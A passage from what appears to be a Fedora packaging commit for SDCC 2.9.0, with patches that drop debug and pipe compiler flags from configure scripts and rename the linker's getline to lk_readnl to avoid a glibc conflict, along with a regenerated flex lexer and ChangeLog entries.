  (I'm fuzzy on the details) that was reported by a Fedora user with the
  r5508 patch from upstream.


sdcc-2.9.0-configure.diff:
 configure.in                |    4 ++--
 debugger/mcs51/configure.in |    4 ++--
 sim/ucsim/configure.in      |   12 ++++++------
 3 files changed, 10 insertions(+), 10 deletions(-)

--- NEW FILE sdcc-2.9.0-configure.diff ---
diff -urN sdcc.orig/configure.in sdcc/configure.in
--- sdcc.orig/configure.in	2009-01-19 13:06:40.000000000 -0800
+++ sdcc/configure.in	2009-05-11 14:55:54.000000000 -0700
@@ -332,12 +332,12 @@
 # This is the first time when CFLAGS are set/modified!!
 adl_DD_COPT(CC, ggdb)
 if test "$sdcc_cv_CCggdb" = "yes"; then
-  CFLAGS="-ggdb ${CFLAGS}"
+: CFLAGS="-ggdb ${CFLAGS}"
 fi
 
 adl_DD_COPT(CC, pipe)
 if test "$sdcc_cv_CCpipe" = "yes"; then
-  CFLAGS="-pipe $CFLAGS"
+: CFLAGS="-pipe $CFLAGS"
 fi
 
 
diff -urN sdcc.orig/debugger/mcs51/configure.in sdcc/debugger/mcs51/configure.in
--- sdcc.orig/debugger/mcs51/configure.in	2007-01-03 13:19:58.000000000 -0800
+++ sdcc/debugger/mcs51/configure.in	2009-05-11 15:00:54.000000000 -0700
@@ -151,12 +151,12 @@
 # This is the first time when CFLAGS are set/modified!!
 adl_DD_COPT(CC, ggdb)
 if test "$sdcc_cv_CCggdb" = "yes"; then
-  CFLAGS="-ggdb ${CFLAGS}"
+: CFLAGS="-ggdb ${CFLAGS}"
 fi
 
 adl_DD_COPT(CC, pipe)
 if test "$sdcc_cv_CCpipe" = "yes"; then
-  CFLAGS="-pipe $CFLAGS"
+: CFLAGS="-pipe $CFLAGS"
 fi
 
 
diff -urN sdcc.orig/sim/ucsim/configure.in sdcc/sim/ucsim/configure.in
--- sdcc.orig/sim/ucsim/configure.in	2007-06-28 02:06:31.000000000 -0700
+++ sdcc/sim/ucsim/configure.in	2009-05-11 14:57:45.000000000 -0700
@@ -519,21 +519,21 @@
 DD_COPT(CXX, ggdb)
 DD_COPT(CXX, gstabs)
 if test "$ucsim_cv_CXXgstabs" = "yes"; then
-   gopt="-gstabs+ -g3"
+:  gopt="-gstabs+ -g3"
 elif test "$ucsim_cv_CXXggdb" = "yes"; then
-     gopt="-ggdb -g3"
+:    gopt="-ggdb -g3"
 else
-     gopt="-g"
+:    gopt="-g"
 fi
 if test "$CXXFLAGS"x = x ;then
-        CXXFLAGS="$gopt"
+:       CXXFLAGS="$gopt"
 else
-        CXXFLAGS="$CXXFLAGS $gopt"
+:       CXXFLAGS="$CXXFLAGS $gopt"
 fi
 
 DD_COPT(CXX, pipe)
 if test "$ucsim_cv_CXXpipe" = "yes"; then
-  CXXFLAGS="$CXXFLAGS -pipe"
+: CXXFLAGS="$CXXFLAGS -pipe"
 fi
 
 PICOPT=""

sdcc-2.9.0-patch-out-getline.diff:
 sdcc_2.9.0/as/link/getline.c               |only
 sdcc_2.9.0/as/link/getline.h               |only
 sdcc_2.9.0_new/ChangeLog                   |   32 ++++++
 sdcc_2.9.0_new/as/link/hc08/Makefile.in    |    2 
 sdcc_2.9.0_new/as/link/lk_readnl.c         |   93 ++++++++++++++++++
 sdcc_2.9.0_new/as/link/lk_readnl.h         |   44 ++++++++
 sdcc_2.9.0_new/as/link/lklib.c             |    8 -
 sdcc_2.9.0_new/as/link/lkrel.c             |    6 -
 sdcc_2.9.0_new/as/link/lksdcclib.c         |   22 ++--
 sdcc_2.9.0_new/as/link/mcs51/Makefile.in   |    2 
 sdcc_2.9.0_new/as/link/z80/Makefile.in     |    2 
 sdcc_2.9.0_new/sim/ucsim/cmd.src/cmdlex.cc |  143 ++++++++++++++++-------------
 sdcc_2.9.0_new/sim/ucsim/cmd.src/cmdlex.l  |    1 
 sdcc_2.9.0_new/src/SDCCsymt.c              |    2 
 sdcc_2.9.0_new/src/pic16/glue.c            |    8 -
 sdcc_2.9.0_new/src/pic16/pcode.c           |    2 
 sdcc_2.9.0_new/support/cpp/sdcpp-opts.c    |    8 -
 17 files changed, 282 insertions(+), 93 deletions(-)

--- NEW FILE sdcc-2.9.0-patch-out-getline.diff ---
Only in sdcc_2.9.0/as/link: getline.c
Only in sdcc_2.9.0/as/link: getline.h
diff -ruP sdcc_2.9.0/as/link/hc08/Makefile.in sdcc_2.9.0_new/as/link/hc08/Makefile.in
--- sdcc_2.9.0/as/link/hc08/Makefile.in	2009-01-10 00:04:14.000000000 +0100
+++ sdcc_2.9.0_new/as/link/hc08/Makefile.in	2009-05-03 09:33:59.920935155 +0200
@@ -46,7 +46,7 @@
 
 ASXXLIBSRC = strcmpi.c
 
-LKLIBSRC = getline.c lkaomf51.c lkar.c lkdata.c lkeval.c \
+LKLIBSRC = lk_readnl.c lkaomf51.c lkar.c lkdata.c lkeval.c \
            lkhead.c lklex.c lklib.c lklibr.c lklist.c \
            lknoice.c lkrel.c lksdcclib.c lkstore.c lksym.c
 
diff -ruP sdcc_2.9.0/as/link/lklib.c sdcc_2.9.0_new/as/link/lklib.c
--- sdcc_2.9.0/as/link/lklib.c	2009-02-05 23:15:19.000000000 +0100
+++ sdcc_2.9.0_new/as/link/lklib.c	2009-05-03 09:33:53.032847214 +0200
@@ -31,7 +31,7 @@
 
 #include <string.h>
 
-#include "getline.h"
+#include "lk_readnl.h"
 #include "aslink.h"
 #include "lklibr.h"
 #include "lkrel.h"
@@ -51,7 +51,7 @@
 {
   char relfil[NINPUT];
 
-  while (getline (relfil, sizeof (relfil), libfp) != NULL)
+  while (lk_readnl (relfil, sizeof (relfil), libfp) != NULL)
     {
       FILE *fp;
       char str[PATH_MAX];
@@ -126,7 +126,7 @@
 
   D ("Searching symbol: %s\n", name);
 
-  while (getline (relfil, sizeof (relfil), libfp) != NULL)
+  while (lk_readnl (relfil, sizeof (relfil), libfp) != NULL)
     {
       char str[PATH_MAX];
       FILE *fp;
@@ -206,7 +206,7 @@
  *
  *   functions called:
  *      int     fclose()    c_library
- *      char    *getline()  getline.c
+ *      char    *lk_readnl()  lk_readnl.c
  *      FILE *  fopen()     c_library
  *      VOID    link_main() lkmain.c
  *      int     strlen()    c_library
diff -ruP sdcc_2.9.0/as/link/lk_readnl.c sdcc_2.9.0_new/as/link/lk_readnl.c
--- sdcc_2.9.0/as/link/lk_readnl.c	1970-01-01 01:00:00.000000000 +0100
+++ sdcc_2.9.0_new/as/link/lk_readnl.c	2009-05-03 09:31:37.874839633 +0200
@@ -0,0 +1,93 @@
+/*
+  lk_readnl.c - read a line from file into a buffer
+  version 1.0.0, April 25th, 2008
+
+  Copyright (c) 2008 Borut Razem
+
+  This software is provided 'as-is', without any express or implied
+  warranty.  In no event will the authors be held liable for any damages
+  arising from the use of this software.
+
+  Permission is granted to anyone to use this software for any purpose,
+  including commercial applications, and to alter it and redistribute it
+  freely, subject to the following restrictions:
+
+  1. The origin of this software must not be misrepresented; you must not
+     claim that you wrote the original software. If you use this software
+     in a product, an acknowledgment in the product documentation would be
+     appreciated but is not required.
+  2. Altered source versions must be plainly marked as such, and must not be
+     misrepresented as being the original software.
+  3. This notice may not be removed or altered from any source distribution.
+
+  Borut Razem
+  borut.razem at siol.net
+*/
+
+#include "lk_readnl.h"
+
+/*******************************************************************************
+
+                                lk_readnl
+
+lk_readnl() reads in at most one less than size characters from stream and stores
+them into the buffer pointed to by s. Reading stops after an EOF or a newline.
+The newline character is not stored into the buffer. A '\0' is stored after the
+last character in the buffer. All the characters between size and the newline or
+EOF are skipped.
+
+lk_readnl() return s on success, and NULL on error or when end of file occurs
+while no characters have been read.
+
+*******************************************************************************/
+
+char *
+lk_readnl (char *s, int size, FILE * stream)
+{
+  static char eof_f = 0;
+  int c = '\0';
+  char *s_o;
+  char prev_c;
+
+  if (eof_f)
+    {
+      eof_f = 0;
+      return NULL;
+    }
+
+  s_o = s;
+  --size;                       /* for null terminator */
+  while (size > 0)
+    {
+      prev_c = c;
+      if ((c = getc (stream)) == '\n' || c == EOF)
+        break;
+
+      if (prev_c == '\r')
+        {
+          *s++ = prev_c;
+          if (--size <= 0)
+            break;
+        }
+
+      if (c != '\r')
+        {
+          *s++ = c;
+          --size;
+        }
+    }
+  *s = '\0';
+
+  while (c != '\n' && c != EOF)
+    c = getc (stream);
+
+  if (c == EOF)
+    {
+      if (s == s_o)
+        return NULL;
+
+      eof_f = 1;
+    }
+
+  return s_o;
+}
diff -ruP sdcc_2.9.0/as/link/lk_readnl.h sdcc_2.9.0_new/as/link/lk_readnl.h
--- sdcc_2.9.0/as/link/lk_readnl.h	1970-01-01 01:00:00.000000000 +0100
+++ sdcc_2.9.0_new/as/link/lk_readnl.h	2009-05-03 09:31:32.383875928 +0200
@@ -0,0 +1,44 @@
+/*
+  lk_readnl.h - read a line from file into a buffer
+  version 1.0.0, Aprile 25th, 2008
+
+  Copyright (c) 2008 Borut Razem
+
+  This software is provided 'as-is', without any express or implied
+  warranty.  In no event will the authors be held liable for any damages
+  arising from the use of this software.
+
+  Permission is granted to anyone to use this software for any purpose,
+  including commercial applications, and to alter it and redistribute it
+  freely, subject to the following restrictions:
+
+  1. The origin of this software must not be misrepresented; you must not
+     claim that you wrote the original software. If you use this software
+     in a product, an acknowledgment in the product documentation would be
+     appreciated but is not required.
+  2. Altered source versions must be plainly marked as such, and must not be
+     misrepresented as being the original software.
+  3. This notice may not be removed or altered from any source distribution.
+
+  Borut Razem
+  borut.razem at siol.net
+*/
+
+
+#ifndef __LK_READNL_H
+#define __LK_READNL_H
+
+#include <stdio.h>
+
+#ifdef __cplusplus
+extern "C"
+{
+#endif
+
+  char *lk_readnl (char *s, int size, FILE * stream);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif                          /* __LK_READNL_H */
diff -ruP sdcc_2.9.0/as/link/lkrel.c sdcc_2.9.0_new/as/link/lkrel.c
--- sdcc_2.9.0/as/link/lkrel.c	2009-02-05 23:15:19.000000000 +0100
+++ sdcc_2.9.0_new/as/link/lkrel.c	2009-05-03 09:34:27.455805185 +0200
@@ -32,7 +32,7 @@
 #include <string.h>
 #include <assert.h>
 
-#include "getline.h"
+#include "lk_readnl.h"
 #include "aslink.h"
 #include "lkrel.h"
 
@@ -79,7 +79,7 @@
 
       end = (size >= 0) ? ftell (libfp) + size : -1;
 
-      while ((end < 0 || ftell (libfp) < end) && getline (str, sizeof (str), libfp) != NULL)
+      while ((end < 0 || ftell (libfp) < end) && lk_readnl (str, sizeof (str), libfp) != NULL)
         {
           if (0 == strcmp (str, "</REL>"))
             return 1;
@@ -110,7 +110,7 @@
    * our object file and don't go into the next one.
    */
 
-  while ((end < 0 || ftell (fp) < end) && getline (buf, sizeof (buf), fp) != NULL)
+  while ((end < 0 || ftell (fp) < end) && lk_readnl (buf, sizeof (buf), fp) != NULL)
     {
       char symname[NINPUT];
       char c;
diff -ruP sdcc_2.9.0/as/link/lksdcclib.c sdcc_2.9.0_new/as/link/lksdcclib.c
--- sdcc_2.9.0/as/link/lksdcclib.c	2009-02-05 23:15:19.000000000 +0100
+++ sdcc_2.9.0_new/as/link/lksdcclib.c	2009-05-03 09:35:29.888085514 +0200
@@ -32,13 +32,13 @@
 #include <stdlib.h>
 #include <string.h>
 
-#include "getline.h"
+#include "lk_readnl.h"
 #include "aslink.h"
 #include "lklibr.h"
 #include "lkrel.h"
 
 #define EQ(A,B) !strcmp((A),(B))
-#define MAXLINE 254             /*when using getline */
+#define MAXLINE 254             /* when using lk_readnl */
 
 
 static int
@@ -72,14 +72,14 @@
   char str[NINPUT];
   int state = 0;
 
-  while (getline (str, sizeof (str), libfp) != NULL)
+  while (lk_readnl (str, sizeof (str), libfp) != NULL)
     {
       switch (state)
         {
         case 0:
           if (EQ (str, "<FILE>"))
             {
-              if (NULL != getline (str, sizeof (str), libfp) && EQ (str, ModName))
+              if (NULL != lk_readnl (str, sizeof (str), libfp) && EQ (str, ModName))
                 state = 1;
               else
                 return 0;
@@ -105,7 +105,7 @@
   long IndexOffset = 0;
   pmlibrarysymbol ThisSym = NULL;
 
-  while (getline (FLine, sizeof (FLine), libfp))
+  while (lk_readnl (FLine, sizeof (FLine), libfp))
     {
       switch (state)
         {
@@ -113,7 +113,7 @@
           if (EQ (FLine, "<INDEX>"))
             {
               /*The next line has the size of the index */
-              getline (FLine, sizeof (FLine), libfp);
+              lk_readnl (FLine, sizeof (FLine), libfp);
               IndexOffset = atol (FLine);
               state = 1;
             }
@@ -128,7 +128,7 @@
 
               /* The next line has the name of the module and the offset
                  of the corresponding embedded file in the library */
-              getline (FLine, sizeof (FLine), libfp);
+              lk_readnl (FLine, sizeof (FLine), libfp);
               sscanf (FLine, "%s %ld", ModName, &FileOffset);
               state = 2;
 
@@ -205,7 +205,7 @@
   int state = 0;
   int ret = 0;
 
-  while (getline (str, sizeof (str), libfp) != NULL)
+  while (lk_readnl (str, sizeof (str), libfp) != NULL)
     {
       switch (state)
         {
@@ -239,7 +239,7 @@
   int state = 0;
   long IndexOffset = 0, FileOffset;
 
-  while (getline (FLine, sizeof (FLine), libfp))
+  while (lk_readnl (FLine, sizeof (FLine), libfp))
     {
       char filspc[PATH_MAX];
 
@@ -260,7 +260,7 @@
           if (EQ (FLine, "<INDEX>"))
             {
               /* The next line has the size of the index */
-              getline (FLine, sizeof (FLine), libfp);
+              lk_readnl (FLine, sizeof (FLine), libfp);
               IndexOffset = atol (FLine);
               state = 1;
             }
@@ -271,7 +271,7 @@
             {
               /* The next line has the name of the module and the offset
                  of the corresponding embedded file in the library */
-              getline (FLine, sizeof (FLine), libfp);
+              lk_readnl (FLine, sizeof (FLine), libfp);
               sscanf (FLine, "%s %ld", ModName, &FileOffset);
               state = 2;
             }
diff -ruP sdcc_2.9.0/as/link/mcs51/Makefile.in sdcc_2.9.0_new/as/link/mcs51/Makefile.in
--- sdcc_2.9.0/as/link/mcs51/Makefile.in	2009-01-10 00:04:14.000000000 +0100
+++ sdcc_2.9.0_new/as/link/mcs51/Makefile.in	2009-05-03 09:33:58.180806351 +0200
@@ -46,7 +46,7 @@
 
 ASXXLIBSRC = strcmpi.c
 
-LKLIBSRC = getline.c lkaomf51.c lkar.c lkdata.c lkeval.c \
+LKLIBSRC = lk_readnl.c lkaomf51.c lkar.c lkdata.c lkeval.c \
            lkhead.c lklex.c lklib.c lklibr.c lklist.c \
            lknoice.c lkrel.c lksdcclib.c lkstore.c lksym.c
 
diff -ruP sdcc_2.9.0/as/link/z80/Makefile.in sdcc_2.9.0_new/as/link/z80/Makefile.in
--- sdcc_2.9.0/as/link/z80/Makefile.in	2009-01-10 00:04:14.000000000 +0100
+++ sdcc_2.9.0_new/as/link/z80/Makefile.in	2009-05-03 09:33:56.000806236 +0200
@@ -13,7 +13,7 @@
 
 LKLIB = $(srcdir)/..
 
-LKLIBSRC = getline.c lkaomf51.c lkar.c lkdata.c lkeval.c \
+LKLIBSRC = lk_readnl.c lkaomf51.c lkar.c lkdata.c lkeval.c \
            lkhead.c lklex.c lklib.c lklibr.c lklist.c \
            lknoice.c lkrel.c lksdcclib.c lkstore.c lksym.c
 
diff -ruP sdcc_2.9.0/ChangeLog sdcc_2.9.0_new/ChangeLog
--- sdcc_2.9.0/ChangeLog	2009-03-15 14:30:34.000000000 +0100
+++ sdcc_2.9.0_new/ChangeLog	2009-05-03 14:22:47.139942135 +0200
@@ -1,3 +1,35 @@
+2009-05-03 Borut Razem <borut.razem AT siol.net>
+
+	* as/link/hc08/Makefile.in, as/link/mcs51/Makefile.in,
+	  as/link/z80/Makefile.in, as/link/lk_readnl.c, as/link/lklib.c,
+	  as/link/lk_readnl.h, as/link/lk_readnl.h, as/link/lkrel.c,
+	  as/link/lksdcclib.c: getline renamed to lk_readln to prevent
+	  conflicts with Fedora 11 glibc-2.9.90-19 getline
+
+2009-04-28 Borut Razem <borut.razem AT siol.net>
+
+	* fixed GCC 4.4.0 mingw compilation:
+	  sim/ucsim/cmd.src/cmdlex.cc: regenerated - added #include <stdio.h>
+	* src/SDCCsymt.c: fixed warning:
+	  suggest parentheses around operand of '!' or change '&' to '&&' or
+	  '!' to '~'
+	* support/scripts/sdcc_mingw32: sync with sdcc-build
+
+2009-04-27 Borut Razem <borut.razem AT siol.net>
+
+	* fixed GCC 4.4.0 mingw compilation:
+	* sim/ucsim/cmd.src/cmdlex.l: added #include <stdio.h>
+	* support/cpp/sdcpp-opts.c: fixed warning:
+	  unknown conversion type character 'm' in format,
+	  use strerror(errno) instead of %m glibc extension format specifier
+	* src/SDCCsymt.c: fixed warning:
+	  suggest parentheses around operand of '!' or change '&' to '&&' or
+	  '!' to '~'
+	* src/pic16/pcode.c, src/pic16/glue.c: fixed warning:
+	  unknown conversion type character 'h' in format,
+	  replaced hh printf format specifier with parameter casting to
+	  unsigned char
+
 2009-03-15 Borut Razem <borut.razem AT siol.net>
 
 	* support/scripts/repack_release.sh: added
diff -ruP sdcc_2.9.0/sim/ucsim/cmd.src/cmdlex.cc sdcc_2.9.0_new/sim/ucsim/cmd.src/cmdlex.cc
--- sdcc_2.9.0/sim/ucsim/cmd.src/cmdlex.cc	2004-07-16 18:32:30.000000000 +0200
+++ sdcc_2.9.0_new/sim/ucsim/cmd.src/cmdlex.cc	2009-05-03 09:56:34.837824283 +0200
@@ -1,6 +1,6 @@
-#line 2 "cmdlex.cc"
+#line 2 "../../../../sdcc_2.9.0/sim/ucsim/cmd.src/cmdlex.cc"
 
-#line 4 "cmdlex.cc"
+#line 4 "../../../../sdcc_2.9.0/sim/ucsim/cmd.src/cmdlex.cc"
 
 #define  YY_INT_ALIGNED short int
 
@@ -9,13 +9,16 @@
 #define FLEX_SCANNER
 #define YY_FLEX_MAJOR_VERSION 2
 #define YY_FLEX_MINOR_VERSION 5
-#define YY_FLEX_SUBMINOR_VERSION 31
+#define YY_FLEX_SUBMINOR_VERSION 35
 #if YY_FLEX_SUBMINOR_VERSION > 0
 #define FLEX_BETA
 #endif
 
     /* The c++ scanner is a mess. The FlexLexer.h header file relies on the
-     * following macro.
+     * following macro. This is required in order to pass the c++-multiple-scanners
+     * test in the regression suite. We get reports that it breaks inheritance.
+     * We will address this in a future release of flex, or omit the C++ scanner
+     * altogether.
      */
     #define yyFlexLexer yyFlexLexer
 
@@ -32,7 +35,15 @@
 
 /* C99 systems have <inttypes.h>. Non-C99 systems may or may not. */
 
-#if defined __STDC_VERSION__ && __STDC_VERSION__ >= 199901L
+#if defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L
+
+/* C99 says to define __STDC_LIMIT_MACROS before including stdint.h,
+ * if you want the limit (max/min) macros for int types. 
+ */
+#ifndef __STDC_LIMIT_MACROS
+#define __STDC_LIMIT_MACROS 1
+#endif
+
 #include <inttypes.h>
 typedef int8_t flex_int8_t;
 typedef uint8_t flex_uint8_t;
@@ -83,6 +94,7 @@
 /* begin standard C++ headers. */
 #include <iostream> 
 #include <errno.h>
+#include <cstdio>
 #include <cstdlib>
 #include <cstring>
 /* end standard C++ headers. */
@@ -94,11 +106,12 @@
 
 #else	/* ! __cplusplus */
 
-#if __STDC__
+/* C99 requires __STDC__ to be defined as 1. */
+#if defined (__STDC__)
 
 #define YY_USE_CONST
 
-#endif	/* __STDC__ */
+#endif	/* defined (__STDC__) */
 #endif	/* ! __cplusplus */
 
 #ifdef YY_USE_CONST
@@ -143,6 +156,10 @@
 #define YY_BUF_SIZE 16384
 #endif
 
+/* The state buf must be large enough to hold one state per character in the main buffer.
+ */
+#define YY_STATE_BUF_SIZE   ((YY_BUF_SIZE + 2) * sizeof(yy_state_type))
+
 #ifndef YY_TYPEDEF_YY_BUFFER_STATE
 #define YY_TYPEDEF_YY_BUFFER_STATE
 typedef struct yy_buffer_state *YY_BUFFER_STATE;
@@ -172,14 +189,9 @@
 
 #define unput(c) yyunput( c, (yytext_ptr)  )
 
-/* The following is because we cannot portably get our hands on size_t
- * (without autoconf's help, which isn't available because we want
- * flex-generated scanners to compile on their own).
- */
-
 #ifndef YY_TYPEDEF_YY_SIZE_T
 #define YY_TYPEDEF_YY_SIZE_T
-typedef unsigned int yy_size_t;
+typedef size_t yy_size_t;
 #endif
 
 #ifndef YY_STRUCT_YY_BUFFER_STATE
@@ -405,8 +417,9 @@
 #define yymore() yymore_used_but_not_detected
 #define YY_MORE_ADJ 0
 #define YY_RESTORE_YY_MORE_OFFSET
-#line 1 "cmdlex.l"
-#line 2 "cmdlex.l"
+#line 1 "../../../../sdcc_2.9.0/sim/ucsim/cmd.src/cmdlex.l"
+#line 2 "../../../../sdcc_2.9.0/sim/ucsim/cmd.src/cmdlex.l"
+#include <stdio.h>
 #include "cmdlexcl.h"
 #include "cmdpars.h"
 
@@ -417,7 +430,7 @@
 #define tok(x) (YY_cl_ucsim_parser_CLASS::x)
 #define lexer_obj (dynamic_cast<class cl_ucsim_lexer *>(this))
 
-#line 421 "cmdlex.cc"
+#line 434 "../../../../sdcc_2.9.0/sim/ucsim/cmd.src/cmdlex.cc"
 
 #define INITIAL 0
 
@@ -517,14 +530,14 @@
 	register char *yy_cp, *yy_bp;
 	register int yy_act;
     
-#line 14 "cmdlex.l"
+#line 15 "../../../../sdcc_2.9.0/sim/ucsim/cmd.src/cmdlex.l"
 
 
-#line 524 "cmdlex.cc"
+#line 537 "../../../../sdcc_2.9.0/sim/ucsim/cmd.src/cmdlex.cc"
 
-	if ( (yy_init) )
+	if ( !(yy_init) )
 		{
-		(yy_init) = 0;
+		(yy_init) = 1;
 
 #ifdef YY_USER_INIT
 		YY_USER_INIT;
@@ -605,67 +618,67 @@
 
 case 1:
 YY_RULE_SETUP
-#line 16 "cmdlex.l"
+#line 17 "../../../../sdcc_2.9.0/sim/ucsim/cmd.src/cmdlex.l"
 ;
 	YY_BREAK
 case 2:
 YY_RULE_SETUP
-#line 18 "cmdlex.l"
+#line 19 "../../../../sdcc_2.9.0/sim/ucsim/cmd.src/cmdlex.l"
 return(tok(PTOK_PLUS));
 	YY_BREAK
 case 3:
 YY_RULE_SETUP
-#line 19 "cmdlex.l"
+#line 20 "../../../../sdcc_2.9.0/sim/ucsim/cmd.src/cmdlex.l"
 return(tok(PTOK_MINUS));
 	YY_BREAK
 case 4:
 YY_RULE_SETUP
-#line 20 "cmdlex.l"
+#line 21 "../../../../sdcc_2.9.0/sim/ucsim/cmd.src/cmdlex.l"
 return(tok(PTOK_ASTERIX));
 	YY_BREAK
 case 5:
 YY_RULE_SETUP
-#line 21 "cmdlex.l"
+#line 22 "../../../../sdcc_2.9.0/sim/ucsim/cmd.src/cmdlex.l"
 return(tok(PTOK_SLASH));
 	YY_BREAK
 case 6:
 YY_RULE_SETUP
-#line 22 "cmdlex.l"
+#line 23 "../../../../sdcc_2.9.0/sim/ucsim/cmd.src/cmdlex.l"
 return(tok(PTOK_LEFT_PAREN));
 	YY_BREAK
 case 7:
 YY_RULE_SETUP
-#line 23 "cmdlex.l"
+#line 24 "../../../../sdcc_2.9.0/sim/ucsim/cmd.src/cmdlex.l"
 return(tok(PTOK_RIGHT_PAREN));
 	YY_BREAK
 case 8:
 YY_RULE_SETUP
-#line 24 "cmdlex.l"
+#line 25 "../../../../sdcc_2.9.0/sim/ucsim/cmd.src/cmdlex.l"
 return(tok(PTOK_LEFT_BRACKET));
 	YY_BREAK
 case 9:
 YY_RULE_SETUP
-#line 25 "cmdlex.l"
+#line 26 "../../../../sdcc_2.9.0/sim/ucsim/cmd.src/cmdlex.l"
 return(tok(PTOK_RIGHT_BRACKET));
 	YY_BREAK
 case 10:
 YY_RULE_SETUP
-#line 26 "cmdlex.l"
+#line 27 "../../../../sdcc_2.9.0/sim/ucsim/cmd.src/cmdlex.l"
 return(tok(PTOK_EQUAL));
 	YY_BREAK
 case 11:
 YY_RULE_SETUP
-#line 27 "cmdlex.l"
+#line 28 "../../../../sdcc_2.9.0/sim/ucsim/cmd.src/cmdlex.l"
 return(tok(PTOK_DOT));
 	YY_BREAK
 case 12:
 YY_RULE_SETUP
-#line 28 "cmdlex.l"
+#line 29 "../../../../sdcc_2.9.0/sim/ucsim/cmd.src/cmdlex.l"
 return(tok(PTOK_AMPERSAND));
 	YY_BREAK
 case 13:
 YY_RULE_SETUP
-#line 30 "cmdlex.l"
+#line 31 "../../../../sdcc_2.9.0/sim/ucsim/cmd.src/cmdlex.l"
 {
   yylval->number= strtol(yytext, 0, 0);
   return(YY_cl_ucsim_parser_CLASS::PTOK_NUMBER);
@@ -673,20 +686,20 @@
 	YY_BREAK
 case 14:
 YY_RULE_SETUP
-#line 35 "cmdlex.l"
+#line 36 "../../../../sdcc_2.9.0/sim/ucsim/cmd.src/cmdlex.l"
 return(lexer_obj->check_id(yytext));
 	YY_BREAK
 case 15:
 YY_RULE_SETUP
-#line 37 "cmdlex.l"
+#line 38 "../../../../sdcc_2.9.0/sim/ucsim/cmd.src/cmdlex.l"
 ;
 	YY_BREAK
 case 16:
 YY_RULE_SETUP
-#line 39 "cmdlex.l"
+#line 40 "../../../../sdcc_2.9.0/sim/ucsim/cmd.src/cmdlex.l"
 ECHO;
 	YY_BREAK
-#line 690 "cmdlex.cc"
+#line 703 "../../../../sdcc_2.9.0/sim/ucsim/cmd.src/cmdlex.cc"
 case YY_STATE_EOF(INITIAL):
 	yyterminate();
 
@@ -819,12 +832,14 @@
 		} /* end of scanning one token */
 } /* end of yylex */
 
+/* The contents of this function are C++ specific, so the () macro is not used.
+ */
 yyFlexLexer::yyFlexLexer( std::istream* arg_yyin, std::ostream* arg_yyout )
 {
 	yyin = arg_yyin;
 	yyout = arg_yyout;
 	yy_c_buf_p = 0;
-	yy_init = 1;
+	yy_init = 0;
 	yy_start = 0;
 	yy_flex_debug = 0;
 	yylineno = 1;	// this will only get updated if %option yylineno
@@ -837,23 +852,28 @@
 	yy_more_offset = yy_prev_more_offset = 0;
 
 	yy_start_stack_ptr = yy_start_stack_depth = 0;
-	yy_start_stack = 0;
+	yy_start_stack = NULL;
 
-    (yy_buffer_stack) = 0;
-    (yy_buffer_stack_top) = 0;
-    (yy_buffer_stack_max) = 0;
+	yy_buffer_stack = 0;
+	yy_buffer_stack_top = 0;
+	yy_buffer_stack_max = 0;
 
 	yy_state_buf = 0;
 
 }
 
+/* The contents of this function are C++ specific, so the () macro is not used.
+ */
 yyFlexLexer::~yyFlexLexer()
 {
 	delete [] yy_state_buf;
 	yyfree(yy_start_stack  );
 	yy_delete_buffer( YY_CURRENT_BUFFER );
+	yyfree(yy_buffer_stack  );
 }
 
+/* The contents of this function are C++ specific, so the () macro is not used.
+ */
 void yyFlexLexer::switch_streams( std::istream* new_in, std::ostream* new_out )
 {
 	if ( new_in )
@@ -954,7 +974,7 @@
 
 	else
 		{
-			size_t num_to_read =
+			int num_to_read =
 			YY_CURRENT_BUFFER_LVALUE->yy_buf_size - number_to_move - 1;
 
 		while ( num_to_read <= 0 )
@@ -999,7 +1019,7 @@
 
 		/* Read in more data. */
 		YY_INPUT( (&YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[number_to_move]),
-			(yy_n_chars), num_to_read );
+			(yy_n_chars), (size_t) num_to_read );
 
 		YY_CURRENT_BUFFER_LVALUE->yy_n_chars = (yy_n_chars);
 		}
@@ -1023,6 +1043,14 @@
 	else
 		ret_val = EOB_ACT_CONTINUE_SCAN;
 
+	if ((yy_size_t) ((yy_n_chars) + number_to_move) > YY_CURRENT_BUFFER_LVALUE->yy_buf_size) {
+		/* Extend the array by 50%, plus the number we really need. */
+		yy_size_t new_size = (yy_n_chars) + number_to_move + ((yy_n_chars) >> 1);
+		YY_CURRENT_BUFFER_LVALUE->yy_ch_buf = (char *) yyrealloc((void *) YY_CURRENT_BUFFER_LVALUE->yy_ch_buf,new_size  );
+		if ( ! YY_CURRENT_BUFFER_LVALUE->yy_ch_buf )
+			YY_FATAL_ERROR( "out of dynamic memory in yy_get_next_buffer()" );
+	}
+
 	(yy_n_chars) += number_to_move;
 	YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[(yy_n_chars)] = YY_END_OF_BUFFER_CHAR;
 	YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[(yy_n_chars) + 1] = YY_END_OF_BUFFER_CHAR;
@@ -1428,7 +1456,9 @@
 		(yy_buffer_stack) = (struct yy_buffer_state**)yyalloc
 								(num_to_alloc * sizeof(struct yy_buffer_state*)
 								);
-		
+		if ( ! (yy_buffer_stack) )
+			YY_FATAL_ERROR( "out of dynamic memory in yyensure_buffer_stack()" );
+								  
 		memset((yy_buffer_stack), 0, num_to_alloc * sizeof(struct yy_buffer_state*));
 				
 		(yy_buffer_stack_max) = num_to_alloc;
@@ -1446,6 +1476,8 @@
 								((yy_buffer_stack),
 								num_to_alloc * sizeof(struct yy_buffer_state*)
 								);
+		if ( ! (yy_buffer_stack) )
+			YY_FATAL_ERROR( "out of dynamic memory in yyensure_buffer_stack()" );
 
 		/* zero only the new slots.*/
 		memset((yy_buffer_stack) + (yy_buffer_stack_max), 0, grow_size * sizeof(struct yy_buffer_state*));
@@ -1469,8 +1501,7 @@
 			(yy_start_stack) = (int *) yyrealloc((void *) (yy_start_stack),new_size  );
 
 		if ( ! (yy_start_stack) )
-			YY_FATAL_ERROR(
-			"out of memory expanding start-condition stack" );
+			YY_FATAL_ERROR( "out of memory expanding start-condition stack" );
 		}
 
 	(yy_start_stack)[(yy_start_stack_ptr)++] = YY_START;
@@ -1528,7 +1559,7 @@
 static void yy_flex_strncpy (char* s1, yyconst char * s2, int n )
 {
 	register int i;
-    	for ( i = 0; i < n; ++i )
+	for ( i = 0; i < n; ++i )
 		s1[i] = s2[i];
 }
 #endif
@@ -1537,7 +1568,7 @@
 static int yy_flex_strlen (yyconst char * s )
 {
 	register int n;
-    	for ( n = 0; s[n]; ++n )
